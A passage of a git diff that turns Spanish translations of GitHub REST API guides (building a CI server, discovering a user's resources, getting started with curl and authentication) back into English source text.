token][access token]: ``` ruby # !!! DO NOT EVER USE HARD-CODED VALUES IN A REAL APP !!! @@ -96,7 +125,8 @@ before do end ``` -Después de ésto, solo necesitaremos actualizar la solicitud de extracción en {% data variables.product.product_name %} para dejar en claro lo que estamos procesando en la IC: +After that, we'll just need to update the pull request on {% data variables.product.product_name %} to make clear +that we're processing on the CI: ``` ruby def process_pull_request(pull_request) @@ -105,13 +135,16 @@ def process_pull_request(pull_request) end ``` -Estamos haciendo tres cosas muy básicas aquí: +We're doing three very basic things here: -* buscando el nombre completo del repositorio -* buscando el último SHA de la solicitud de extracción -* configurando el estado como "pendiente" +* we're looking up the full name of the repository +* we're looking up the last SHA of the pull request +* we're setting the status to "pending" -¡Listo! Desde estepunto puedes ejecutar el proceso que sea que necesites para ejecutar tu suit de pruebas. Tal vez vas a pasar tu código a Jenkins, o a llamar a otro servicio web a través de su API, como con [Travis][travis api]. Después de eso, asegúrate actualizar el estado una vez más. En nuestro ejemplo, solo lo configuraremos como `"success"`: +That's it! From here, you can run whatever process you need to in order to execute +your test suite. Maybe you're going to pass off your code to Jenkins, or call +on another web service via its API, like [Travis][travis api]. After that, you'd +be sure to update the status once more. In our example, we'll just set it to `"success"`: ``` ruby def process_pull_request(pull_request) @@ -120,24 +153,33 @@ def process_pull_request(pull_request) @client.create_status(pull_request['base']['repo']['full_name'], pull_request['head']['sha'], 'success') puts "Pull request processed!" end -``` +``` -## Conclusión +## Conclusion -En GitHub, utilizamos una versión de [Janky][janky] durante años para administrar nuestra IC. El flujo básico es esencial y exactamente el mismo que en el servidor que acabamos de crear. En GitHub, nosotros: +At GitHub, we've used a version of [Janky][janky] to manage our CI for years. +The basic flow is essentially the exact same as the server we've built above. +At GitHub, we: -* Notificamos todo a Jenkins cuando se crea o actualiza una solicitud de extracción (a través de Janky) -* Esperamos una respuesta del estado de la IC -* Si el código tiene luz verde, lo fusionamos con la solicitud de extracción +* Fire to Jenkins when a pull request is created or updated (via Janky) +* Wait for a response on the state of the CI +* If the code is green, we merge the pull request -Todas estas comunicaciones se canalizan de vuelta a nuestras salas de chat. No necesitas crear tu propia configuración de IC para utilizar este ejemplo. Siempre puedes confiar en las [Integraciones de GitHub][integrations]. +All of this communication is funneled back to our chat rooms. You don't need to +build your own CI setup to use this example. +You can always rely on [GitHub integrations][integrations]. +[deploy API]: /rest/reference/repos#deployments [status API]: /rest/reference/repos#statuses [ngrok]: https://ngrok.com/ [using ngrok]: /webhooks/configuring/#using-ngrok [platform samples]: https://github.com/github/platform-samples/tree/master/api/ruby/building-a-ci-server [Sinatra]: http://www.sinatrarb.com/ +[webhook]: /webhooks/ [octokit.rb]: https://github.com/octokit/octokit.rb +[access token]: /articles/creating-an-access-token-for-command-line-use [travis api]: https://api.travis-ci.org/docs/ [janky]: https://github.com/github/janky +[heaven]: https://github.com/atmos/heaven +[hubot]: https://github.com/github/hubot [integrations]: https://github.com/integrations diff --git a/translations/es-ES/content/rest/guides/discovering-resources-for-a-user.md b/translations/es-ES/content/rest/guides/discovering-resources-for-a-user.md index c10527b601..74f1211882 100644 --- a/translations/es-ES/content/rest/guides/discovering-resources-for-a-user.md +++ b/translations/es-ES/content/rest/guides/discovering-resources-for-a-user.md @@ -1,6 +1,6 @@ --- -title: Descubrir los recursos para un usuario -intro: Aprende cómo encontrar los repositorios y organizaciones a los cuales puede acceder tu app para un usuario de manera confiable para tus solicitudes autenticadas a la API de REST. +title: Discovering resources for a user +intro: Learn how to find the repositories and organizations that your app can access for a user in a reliable way for your authenticated requests to the REST API. redirect_from: - /guides/discovering-resources-for-a-user/ - /v3/guides/discovering-resources-for-a-user @@ -11,26 +11,26 @@ versions: ghec: '*' topics: - API -shortTitle: Descubrir recursos para un usuario +shortTitle: Discover resources for a user --- - -When making authenticated requests to the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API, applications often need to fetch the current user's repositories and organizations. En esta guía, te explicaremos cómo descubrir estos recursos de forma confiable. -To interact with the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API, we'll be using [Octokit.rb][octokit.rb]. Puedes encontrar todo el código fuente de este proyecto en el repositorio [platform-samples][platform samples]. +When making authenticated requests to the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API, applications often need to fetch the current user's repositories and organizations. In this guide, we'll explain how to reliably discover those resources. -## Empezar +To interact with the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API, we'll be using [Octokit.rb][octokit.rb]. You can find the complete source code for this project in the [platform-samples][platform samples] repository. -Si aún no lo has hecho, deberías leer la guía de ["Conceptos Básicos de la Autenticación"][basics-of-authentication] antes de comenzar a trabajar en los siguientes ejemplos. Éstos asumen que tienes una [aplicación de OAuth registrada][register-oauth-app] y de que [tu aplicación tiene un token de OAuth para un usuario][make-authenticated-request-for-user]. +## Getting started -## Descubre los repositorios a los cuales tu app puede acceder para un usuario +If you haven't already, you should read the ["Basics of Authentication"][basics-of-authentication] guide before working through the examples below. The examples below assume that you have [registered an OAuth application][register-oauth-app] and that your [application has an OAuth token for a user][make-authenticated-request-for-user]. -Adicionalmente a tener sus propios repositorios personales, un usuario puede ser un colaborador en los repositorios que pertenezcan a otros usuarios y organizaciones. En conjunto, estos son los repositorios en donde el usuario tiene acceso privilegiado: ya sea que constituya un repositorio privado en donde el usuario tenga acceso de lectura o escritura, o que sea un repositorio {% ifversion not ghae %}público{% else %}interno{% endif %} en donde el usuario tenga acceso de escritura. +## Discover the repositories that your app can access for a user -Los [alcances de OAuth][scopes] y las [políticas de aplicación de la organización][oap] determinan a cuáles de estos repositorios puede acceder tu app para un usuario. Utiliza el siguiente flujo de trabajo para descubrir estos repositorios. +In addition to having their own personal repositories, a user may be a collaborator on repositories owned by other users and organizations. Collectively, these are the repositories where the user has privileged access: either it's a private repository where the user has read or write access, or it's {% ifversion fpt %}a public{% elsif ghec or ghes %}a public or internal{% elsif ghae %}an internal{% endif %} repository where the user has write access. -Como siempre, primero necesitaremos la biblioteca de Ruby del [Octokit.rb de GitHub][octokit.rb]. Luego, configuraremos a Octokit.rb para que nos gestione automáticamente la [paginación][pagination]. +[OAuth scopes][scopes] and [organization application policies][oap] determine which of those repositories your app can access for a user. Use the workflow below to discover those repositories. + +As always, first we'll require [GitHub's Octokit.rb][octokit.rb] Ruby library. Then we'll configure Octokit.rb to automatically handle [pagination][pagination] for us. ``` ruby require 'octokit' @@ -38,7 +38,7 @@ require 'octokit' Octokit.auto_paginate = true ``` -Después, pasaremos el [Token de OAuth para un usuario específico][make-authenticated-request-for-user] de nuestra aplicación: +Next, we'll pass in our application's [OAuth token for a given user][make-authenticated-request-for-user]: ``` ruby # !!! DO NOT EVER USE HARD-CODED VALUES IN A REAL APP !!! @@ -46,7 +46,7 @@ Después, pasaremos el [Token de OAuth para un usuario específico][make-authent client = Octokit::Client.new :access_token => ENV["OAUTH_ACCESS_TOKEN"] ``` -Luego estaremos listos para obtener los [repositorios a los cuales puede acceder nuestra aplicación para el usuario][list-repositories-for-current-user]: +Then, we're ready to fetch the [repositories that our application can access for the user][list-repositories-for-current-user]: ``` ruby client.repositories.each do |repository| @@ -63,11 +63,11 @@ client.repositories.each do |repository| end ``` -## Descubre las organizaciones a las cuales puede acceder tu app para un usuario +## Discover the organizations that your app can access for a user -Las aplicaciones pueden llevar a cabo todo tipo de tareas relacionadas con las organizaciones para un usuario. Para llevar a cabo estas tareas, la app necesita una [Autorización de OAuth][scopes] con permisos suficientes. Por ejemplo, el alcance `read:org` te permite [listar los equipos][list-teams], y el alcance `user` te permite [publicitar la membresía organizacional del usuario][publicize-membership]. Una vez que un usuario haya otorgado uno o más de estos alcances a tu app, estarás listo para obtener las organizaciones de éste. +Applications can perform all sorts of organization-related tasks for a user. To perform these tasks, the app needs an [OAuth authorization][scopes] with sufficient permission. For example, the `read:org` scope allows you to [list teams][list-teams], and the `user` scope lets you [publicize the user’s organization membership][publicize-membership]. Once a user has granted one or more of these scopes to your app, you're ready to fetch the user’s organizations. -Tal como hicimos cuando descubrimos los repositorios anteriormente, comenzaremos requiriendo la biblioteca de Ruby [Octokit.rb de GitHub][octokit.rb] y configurándola para que se encarge de la [paginación][pagination] por nosotros: +Just as we did when discovering repositories above, we'll start by requiring [GitHub's Octokit.rb][octokit.rb] Ruby library and configuring it to take care of [pagination][pagination] for us: ``` ruby require 'octokit' @@ -75,7 +75,7 @@ require 'octokit' Octokit.auto_paginate = true ``` -Después, pasaremos el [Token de OAuth para un usuario específico][make-authenticated-request-for-user] de nuestra aplicación para inicializar nuestro cliente de la API: +Next, we'll pass in our application's [OAuth token for a given user][make-authenticated-request-for-user] to initialize our API client: ``` ruby # !!! DO NOT EVER USE HARD-CODED VALUES IN A REAL APP !!! @@ -83,7 +83,7 @@ Después, pasaremos el [Token de OAuth para un usuario específico][make-authent client = Octokit::Client.new :access_token => ENV["OAUTH_ACCESS_TOKEN"] ``` -Después, podremos [listar las organizaciones a las cuales tiene acceso nuestra aplicación para el usuario][list-orgs-for-current-user]: +Then, we can [list the organizations that our application can access for the user][list-orgs-for-current-user]: ``` ruby client.organizations.each do |organization| @@ -91,11 +91,11 @@ client.organizations.each do |organization| end ``` -### Devuelve todas las membresías de organización del usuario +### Return all of the user's organization memberships -Si leíste los documentos de principio a fin, tal vez hayas notado que hay un [Método de la API para listar las membrecías de organizaciones públicas de un usuario][list-public-orgs]. La mayoría de las aplicaciones deberían evitar este método de la API. Este método solo devuelve las membrecías de las organizaciones públicas del usuario y no sus membrecías de organizaciones privadas. +If you've read the docs from cover to cover, you may have noticed an [API method for listing a user's public organization memberships][list-public-orgs]. Most applications should avoid this API method. This method only returns the user's public organization memberships, not their private organization memberships. -Como aplicación, habitualmente querrás obtener todas las organizaciones de los usuarios a las cuales tu app tiene acceso autorizado. El flujo de trabajo anterior te proporcionará exactamente eso. +As an application, you typically want all of the user's organizations that your app is authorized to access. The workflow above will give you exactly that. [basics-of-authentication]: /rest/guides/basics-of-authentication [list-public-orgs]: /rest/reference/orgs#list-organizations-for-a-user @@ -103,13 +103,10 @@ Como aplicación, habitualmente querrás obtener todas las organizaciones de los [list-orgs-for-current-user]: /rest/reference/orgs#list-organizations-for-the-authenticated-user [list-teams]: /rest/reference/teams#list-teams [make-authenticated-request-for-user]: /rest/guides/basics-of-authentication#making-authenticated-requests -[make-authenticated-request-for-user]: /rest/guides/basics-of-authentication#making-authenticated-requests [oap]: https://developer.github.com/changes/2015-01-19-an-integrators-guide-to-organization-application-policies/ [octokit.rb]: https://github.com/octokit/octokit.rb -[octokit.rb]: https://github.com/octokit/octokit.rb [pagination]: /rest#pagination [platform samples]: https://github.com/github/platform-samples/tree/master/api/ruby/discovering-resources-for-a-user [publicize-membership]: /rest/reference/orgs#set-public-organization-membership-for-the-authenticated-user [register-oauth-app]: /rest/guides/basics-of-authentication#registering-your-app [scopes]: /apps/building-oauth-apps/understanding-scopes-for-oauth-apps/ -[scopes]: /apps/building-oauth-apps/understanding-scopes-for-oauth-apps/ diff --git a/translations/es-ES/content/rest/guides/getting-started-with-the-rest-api.md b/translations/es-ES/content/rest/guides/getting-started-with-the-rest-api.md index 80455befd2..74ab5b1968 100644 --- a/translations/es-ES/content/rest/guides/getting-started-with-the-rest-api.md +++ b/translations/es-ES/content/rest/guides/getting-started-with-the-rest-api.md @@ -1,6 +1,6 @@ --- -title: Iniciar con la API de REST -intro: 'Aprende las bases para utilizar la API de REST, comenzando con la autenticación y algunos ejemplos de las terminales.' +title: Getting started with the REST API +intro: 'Learn the foundations for using the REST API, starting with authentication and some endpoint examples.' redirect_from: - /guides/getting-started/ - /v3/guides/getting-started @@ -11,23 +11,28 @@ versions: ghec: '*' topics: - API -shortTitle: Introducción - API de REST +shortTitle: Get started - REST API --- -Vamos a explicar los conceptos centrales de la API mientras incluímos algunos casos de uso cotidiano. +Let's walk through core API concepts as we tackle some everyday use cases. {% data reusables.rest-api.dotcom-only-guide-note %} -## Resumen +## Overview -La mayoría de las aplicaciones utilizan una [biblioteca de seguridad][wrappers] en el lenguaje de programación que escojas, pero es importante que te familiarices con los métodos HTTP básicos de la API primero. +Most applications will use an existing [wrapper library][wrappers] in the language +of your choice, but it's important to familiarize yourself with the underlying API +HTTP methods first. -There's no easier way to kick the tires than through [cURL][curl].{% ifversion fpt or ghec %} If you are using an alternative client, note that you are required to send a valid [User Agent header](/rest/overview/resources-in-the-rest-api#user-agent-required) in your request.{% endif %} +There's no easier way to kick the tires than through [cURL][curl].{% ifversion fpt or ghec %} If you are using +an alternative client, note that you are required to send a valid +[User Agent header](/rest/overview/resources-in-the-rest-api#user-agent-required) in your request.{% endif %} -### Hola Mundo +### Hello World -Comencemos por probar nuestra configuración. Abre una instancia de la línea de comandos e ingresa el siguiente comando: +Let's start by testing our setup. Open up a command prompt and enter the +following command: ```shell $ curl https://api.github.com/zen @@ -35,9 +40,9 @@ $ curl https://api.github.com/zen > Keep it logically awesome. ``` -La respuesta será una selección aleatoria de nuestra filosofía de diseño. +The response will be a random selection from our design philosophies. -Posteriormente, vamos a hacer `GET` para el [perfil de GitHub][users api] de [Chris Wanstrath][defunkt github]: +Next, let's `GET` [Chris Wanstrath's][defunkt github] [GitHub profile][users api]: ```shell # GET /users/defunkt @@ -55,12 +60,12 @@ $ curl https://api.github.com/users/defunkt > } ``` -Mmmm, sabe a [JSON][json]. Vamos a agregar el marcador `-i` para que incluya los encabezados: +Mmmmm, tastes like [JSON][json]. Let's add the `-i` flag to include headers: ```shell $ curl -i https://api.github.com/users/defunkt -> HTTP/2 200 +> HTTP/2 200 > server: GitHub.com > date: Thu, 08 Jul 2021 07:04:08 GMT > content-type: application/json; charset=utf-8 @@ -99,64 +104,75 @@ $ curl -i https://api.github.com/users/defunkt > } ``` -Hay algunas partes interesantes en los encabezados de la respuesta. Como lo esperábamos, el `Content-Type` es `application/json`. +There are a few interesting bits in the response headers. As expected, the +`Content-Type` is `application/json`. -Cualquier encabezado que comience como `X` se refiere a un encabezado personalizado, y no se incluirá en la especificación de HTTPS. Por ejemplo: +Any headers beginning with `X-` are custom headers, and are not included in the +HTTP spec. For example: -* `X-GitHub-Media-Type` tiene un valor de `github.v3`. Esto nos permite saber el [tipo de medios][media types] para la respuesta. Los tipos de medios nos han ayudado a versionar nuestra salida en la API v3. Hablaremos más sobre esto después. -* Toma nota de los encabezados `X-RateLimit-Limit` y `X-RateLimit-Remaining`. Este par de encabezados indica [cuántas solicitudes puede hacer un cliente][rate-limiting] en un periodo de tiempo consecutivo (habitualmente una hora) y cuántas de estas solicitudes ha gastado el cliente hasta ahora. +* `X-GitHub-Media-Type` has a value of `github.v3`. This lets us know the [media type][media types] +for the response. Media types have helped us version our output in API v3. We'll +talk more about that later. +* Take note of the `X-RateLimit-Limit` and `X-RateLimit-Remaining` headers. This +pair of headers indicate [how many requests a client can make][rate-limiting] in +a rolling time period (typically an hour) and how many of those requests the +client has already spent. -## Autenticación +## Authentication -Los clientes sin autenticar pueden hacer hasta 60 solicitudes por hora. Para obtener más solicitudes por hora, necesitaremos _autenticarnos_. In fact, doing anything interesting with the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API requires [authentication][authentication]. +Unauthenticated clients can make 60 requests per hour. To get more requests per hour, we'll need to +_authenticate_. In fact, doing anything interesting with the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API requires +[authentication][authentication]. -### Utilizar tokens de acceso personal +### Using personal access tokens -The easiest and best way to authenticate with the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API is by using Basic Authentication [via OAuth tokens](/rest/overview/other-authentication-methods#via-oauth-and-personal-access-tokens). Éstos incluyen [tokens de acceso personal][personal token]. +The easiest and best way to authenticate with the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API is by using Basic Authentication [via OAuth tokens](/rest/overview/other-authentication-methods#via-oauth-and-personal-access-tokens). OAuth tokens include [personal access tokens][personal token]. -Utiliza el marcador `-u` para configurar tu nombre de usuario: +Use a `-u` flag to set your username: ```shell $ curl -i -u your_username {% data variables.product.api_url_pre %}/users/octocat ``` -Cuando se te solicite, puedes ingresar tu token de OAuth, pero te recomendamos que configures una variable para éste: +When prompted, you can enter your OAuth token, but we recommend you set up a variable for it: -Puedes utilizar `-u "your_username:$token"` y configurar una variable para `token` y así evitar que tu token se quede en el historial del shell, lo cual debes evitar. +You can use `-u "your_username:$token"` and set up a variable for `token` to avoid leaving your token in shell history, which should be avoided. ```shell $ curl -i -u your_username:$token {% data variables.product.api_url_pre %}/users/octocat ``` -Cuando te autentiques, debes ver como tu límite de tasa sube hasta 5,000 solicitudes por hora, como se indicó en el encabezado `X-RateLimit-Limit`. Adicionalmente a proporcionar más llamadas por hora, la autenticación te permite leer y escribir información privada utilizando la API. +When authenticating, you should see your rate limit bumped to 5,000 requests an hour, as indicated in the `X-RateLimit-Limit` header. In addition to providing more calls per hour, authentication enables you to read and write private information using the API. -Puedes [crear un**token de acceso personal**][personal token] fácilmente utilizando tu [página de configuración para tokens de acceso personal][tokens settings]: +You can easily [create a **personal access token**][personal token] using your [Personal access tokens settings page][tokens settings]: {% ifversion fpt or ghes > 3.1 or ghae-issue-4374 or ghec %} {% warning %} -Para mantener tu información segura, te recomendamos ampliamente que configures un vencimiento para tus tokens de acceso personal. +To help keep your information secure, we highly recommend setting an expiration for your personal access tokens. {% endwarning %} {% endif %} {% ifversion fpt or ghes or ghec %} -![Selección de token personal](/assets/images/personal_token.png) +![Personal Token selection](/assets/images/personal_token.png) {% endif %} {% ifversion ghae %} -![Selección de token personal](/assets/images/help/personal_token_ghae.png) +![Personal Token selection](/assets/images/help/personal_token_ghae.png) {% endif %} {% ifversion fpt or ghes > 3.1 or ghae-issue-4374 or ghec %} -Las solicitudes de la API que utilicen un token de acceso personal con vencimiento devolverán la fecha de vencimiento de dicho token a través del encabezado de `GitHub-Authentication-Token-Expiration`. Puedes utilizar el encabezado en tus scripts para proporcionar un mensaje de advertencia cuando el token esté próximo a vencer. +API requests using an expiring personal access token will return that token's expiration date via the `GitHub-Authentication-Token-Expiration` header. You can use the header in your scripts to provide a warning message when the token is close to its expiration date. {% endif %} -### Obtén tu propio perfil de usuario +### Get your own user profile -When properly authenticated, you can take advantage of the permissions associated with your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}. Por ejemplo, intenta obtener +When properly authenticated, you can take advantage of the permissions +associated with your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}. For example, try getting +[your own user profile][auth user api]: ```shell $ curl -i -u your_username:your_token {% data variables.product.api_url_pre %}/user @@ -173,71 +189,89 @@ $ curl -i -u your_username:your_token {% data variables.produc > } ``` -Esta vez, adicionalmente al mismo conjunto de información pública que recuperamos para [@defunkt][defunkt github] anteriormente, también deberías ver la información diferente a la pública para tu perfil de usuario. Por ejemplo, verás un objeto de `plan` en la respuesta, el cual otorga detalles sobre el plan de {% data variables.product.product_name %} que tiene la cuenta. +This time, in addition to the same set of public information we +retrieved for [@defunkt][defunkt github] earlier, you should also see the non-public information for your user profile. For example, you'll see a `plan` object in the response which gives details about the {% data variables.product.product_name %} plan for the account. -### Utiilzar tokens de OAuth para las apps +### Using OAuth tokens for apps -Las apps que necesitan leer o escribir información privada utilizando la API en nombre de otro usuario deben utilizar [OAuth][oauth]. +Apps that need to read or write private information using the API on behalf of another user should use [OAuth][oauth]. -OAuth utiliza _tokens_. Los Tokens proporcionan dos características grandes: +OAuth uses _tokens_. Tokens provide two big features: -* **Acceso revocable**: los usuarios pueden revocar la autorización a las apps de terceros en cualquier momento -* **Acceso limitado**: los usuarios pueden revisar el acceso específico que proporcionará un token antes de autorizar una app de terceros +* **Revokable access**: users can revoke authorization to third party apps at any time +* **Limited access**: users can review the specific access that a token + will provide before authorizing a third party app -Los tokens deben crearse mediante un [flujo web][webflow]. Una aplicación envía a los usuarios a {% data variables.product.product_name %} para que inicien sesión. Entonces, {% data variables.product.product_name %} presenta un diálogo que indica el nombre de la app así como el nivel de acceso que ésta tiene una vez que el usuario la autorice. Después de que un usuario autoriza el acceso, {% data variables.product.product_name %} lo redirecciona de vuelta a la aplicación: +Tokens should be created via a [web flow][webflow]. An application +sends users to {% data variables.product.product_name %} to log in. {% data variables.product.product_name %} then presents a dialog +indicating the name of the app, as well as the level of access the app +has once it's authorized by the user. After a user authorizes access, {% data variables.product.product_name %} +redirects the user back to the application: -![Diálogo de OAuth de GitHub](/assets/images/oauth_prompt.png) +![GitHub's OAuth Prompt](/assets/images/oauth_prompt.png) -**¡Trata a los tokens de OAuth como si fueran contraseñas!** No los compartas con otros usuarios ni los almacenes en lugares inseguros. Los tokens en estos ejemplos son falsos y los nombres se cambiaron para proteger a los inocentes. +**Treat OAuth tokens like passwords!** Don't share them with other users or store +them in insecure places. The tokens in these examples are fake and the names have +been changed to protect the innocent. -Ahora que ya entendimos cómo hacer llamadas autenticadas, vamos a pasar a la [API de repositorios][repos-api]. +Now that we've got the hang of making authenticated calls, let's move along to +the [Repositories API][repos-api]. -## Repositorios +## Repositories -Almost any meaningful use of the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API will involve some level of Repository information. Podemos hacer [`GET` para los detalles de un repositorio][get repo] de la misma forma que recuperamos los detalles del usuario anteriormente: +Almost any meaningful use of the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API will involve some level of Repository +information. We can [`GET` repository details][get repo] in the same way we fetched user +details earlier: ```shell $ curl -i {% data variables.product.api_url_pre %}/repos/twbs/bootstrap ``` -De la misma forma, podemos [ver los repositorios del usuario autenticado][user repos api]: +In the same way, we can [view repositories for the authenticated user][user repos api]: ```shell $ curl -i -H "Authorization: token {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}ghp_16C7e42F292c6912E7710c838347Ae178B4a{% else %}5199831f4dd3b79e7c5b7e0ebe75d67aa66e79d4{% endif %}" \ {% data variables.product.api_url_pre %}/user/repos ``` -O podemos [listar los repositorios de otro usuario][other user repos api]: +Or, we can [list repositories for another user][other user repos api]: ```shell $ curl -i {% data variables.product.api_url_pre %}/users/octocat/repos ``` -O podemos [listar los repositorios de una organización][org repos api]: +Or, we can [list repositories for an organization][org repos api]: ```shell $ curl -i {% data variables.product.api_url_pre %}/orgs/octo-org/repos ``` -La información que se devuelve de estas llamadas dependerá de los alcances que tenga nuestrotoken cuando nos autenticamos: +The information returned from these calls will depend on which scopes our token has when we authenticate: -{% ifversion not ghae %} -* Un token con [alcance][scopes] de `public_repo` devolverá una respuesta que incluye todos los repositorios públicos que podemos ver en github.com.{% endif %} -* Un token con [alcance][scopes] de `repo` devolverá una respuesta que incluya todos los repositorios {% ifversion not ghae %}públicos{% else %}internos{% endif %} y privados que podemos ver en {% data variables.product.product_location %}. +{%- ifversion fpt or ghec or ghes %} +* A token with `public_repo` [scope][scopes] returns a response that includes all public repositories we have access to see on {% data variables.product.product_location %}. +{%- endif %} +* A token with `repo` [scope][scopes] returns a response that includes all {% ifversion fpt %}public or private{% elsif ghec or ghes %}public, private, or internal{% elsif ghae %}private or internal{% endif %} repositories we have access to see on {% data variables.product.product_location %}. -Como indican los [docs][repos-api], estos métodos toman un parámetro de `type` que puede filtrar los repositorios que se regresan con base en el tipo de acceso que el usuario tiene en ellos. De esta forma, podemos obtener los solo los repositorios que nos pertenezcan directamente, repositorios de organizacion o repositorios en los que el usuario colabore a través del equipo. +As the [docs][repos-api] indicate, these methods take a `type` parameter that +can filter the repositories returned based on what type of access the user has +for the repository. In this way, we can fetch only directly-owned repositories, +organization repositories, or repositories the user collaborates on via a team. ```shell $ curl -i "{% data variables.product.api_url_pre %}/users/octocat/repos?type=owner" ``` -En este ejemplo, tomamos únicamente los repositorios que pertenecen a octocat, no aquellos en los que ella colabora. Nota la URL que se cita arriba. Dependiendo de tu configuración de shell, cURL a veces requiere una URL citada, o de lo contrario ignora la secuencia de consulta. +In this example, we grab only those repositories that octocat owns, not the +ones on which she collaborates. Note the quoted URL above. Depending on your +shell setup, cURL sometimes requires a quoted URL or else it ignores the +query string. -### Crear un repositorio +### Create a repository -Un caso de común de uso es retribuir información para repositorios existentes, pero la -{% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API supports creating new repositories as well. Para [crear un repositorio][create repo], -necesitamos hacer `POST` en algunos JSON que contengan los detalles y las opciones de configuración. +Fetching information for existing repositories is a common use case, but the +{% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API supports creating new repositories as well. To [create a repository][create repo], +we need to `POST` some JSON containing the details and configuration options. ```shell $ curl -i -H "Authorization: token {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}ghp_16C7e42F292c6912E7710c838347Ae178B4a{% else %}5199831f4dd3b79e7c5b7e0ebe75d67aa66e79d4{% endif %}" \ @@ -250,11 +284,14 @@ $ curl -i -H "Authorization: token {% ifversion fpt or ghes > 3.1 or ghae-next o {% data variables.product.api_url_pre %}/user/repos ``` -En este ejemplo mínimo, creamos un repositorio privado nuevo para nuestro blog (que se servirá en [GitHub Pages][pages], probablemente). Aunque el blog {% ifversion not ghae %}será público{% else %}está disponible para todos los miembros de la empresa{% endif %}, hemos hecho el repositorio privado. En este paso, también lo inicializaremos con un README y con una [plantilla de.gitignored][gitignore templates] enriquecida con [nanoc][nanoc]. +In this minimal example, we create a new private repository for our blog (to be served +on [GitHub Pages][pages], perhaps). Though the blog {% ifversion not ghae %}will be public{% else %}is accessible to all enterprise members{% endif %}, we've made the repository private. In this single step, we'll also initialize it with a README and a [nanoc][nanoc]-flavored [.gitignore template][gitignore templates]. -El repositorio que se obtiene como resultado se puede encontrar en `https://github.com//blog`. Para crear un repositorio bajo una organización para la cual eres propietario, solo cambia el método de la API de `/user/repos` a `/orgs//repos`. +The resulting repository will be found at `https://github.com//blog`. +To create a repository under an organization for which you're +an owner, just change the API method from `/user/repos` to `/orgs//repos`. -Posteriormente vamos a obtener nuestro repositorio recién creado: +Next, let's fetch our newly created repository: ```shell $ curl -i {% data variables.product.api_url_pre %}/repos/pengwynn/blog @@ -266,20 +303,28 @@ $ curl -i {% data variables.product.api_url_pre %}/repos/pengwynn/blog > } ``` -¡Oh no! ¿A dónde se fue? Ya que creamos el repositorio como _privado_, necesitamos autenticarnos para poder verlo. Si eres un usuario experimentado en HTTP, tal vez esperes recibir un código `403` en vez de ésto. Since we don't want to leak information about private repositories, the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API returns a `404` in this case, as if to say "we can neither confirm nor deny the existence of this repository." +Oh noes! Where did it go? Since we created the repository as _private_, we need +to authenticate in order to see it. If you're a grizzled HTTP user, you might +expect a `403` instead. Since we don't want to leak information about private +repositories, the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API returns a `404` in this case, as if to say "we can +neither confirm nor deny the existence of this repository." -## Problemas +## Issues -La IU de informe de problemas en {% data variables.product.product_name %} pretende proporcionar suficiente flujo de trabajo mientras evita estorbarte. Con la [API de propuestas][issues-api] de {% data variables.product.product_name %}, puedes extraer datos para crear propuestas desde otras herramientas para crear flujos de trabajo que funcionen para tu equipo. +The UI for Issues on {% data variables.product.product_name %} aims to provide 'just enough' workflow while +staying out of your way. With the {% data variables.product.product_name %} [Issues API][issues-api], you can pull +data out or create issues from other tools to create a workflow that works for +your team. -Tal como en github.com, la API proporciona algunos cuantos métodos para ver los informes de problemas para el usuario autenticado. Para [ver todas tus propuestas][get issues api], llama a `GET /issues`: +Just like github.com, the API provides a few methods to view issues for the +authenticated user. To [see all your issues][get issues api], call `GET /issues`: ```shell $ curl -i -H "Authorization: token {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}ghp_16C7e42F292c6912E7710c838347Ae178B4a{% else %}5199831f4dd3b79e7c5b7e0ebe75d67aa66e79d4{% endif %}" \ {% data variables.product.api_url_pre %}/issues ``` -Para obtener únicamente las [propuestas bajo alguna de tus organizaciones de {% data variables.product.product_name %}][get issues api], llama a `GET +To get only the [issues under one of your {% data variables.product.product_name %} organizations][get issues api], call `GET /orgs//issues`: ```shell @@ -287,15 +332,17 @@ $ curl -i -H "Authorization: token {% ifversion fpt or ghes > 3.1 or ghae-next o {% data variables.product.api_url_pre %}/orgs/rails/issues ``` -También podemos obtener [todas las propuestas que estén bajo un solo repositorio][repo issues api]: +We can also get [all the issues under a single repository][repo issues api]: ```shell $ curl -i {% data variables.product.api_url_pre %}/repos/rails/rails/issues ``` -### Paginación +### Pagination -Un proyecto con el tamaño de Rails tiene miles de informes de problemas. Necesitaremos [paginar][pagination], haciendo varias llamadas a la API para obtener los datos. Vamos a repetir la última llamada, esta vez tomando nota de los encabezados de respuesta: +A project the size of Rails has thousands of issues. We'll need to [paginate][pagination], +making multiple API calls to get the data. Let's repeat that last call, this +time taking note of the response headers: ```shell $ curl -i {% data variables.product.api_url_pre %}/repos/rails/rails/issues @@ -307,13 +354,20 @@ $ curl -i {% data variables.product.api_url_pre %}/repos/rails/rails/issues > ... ``` -El [encabezado de `Link`][link-header] proporciona una respuesta 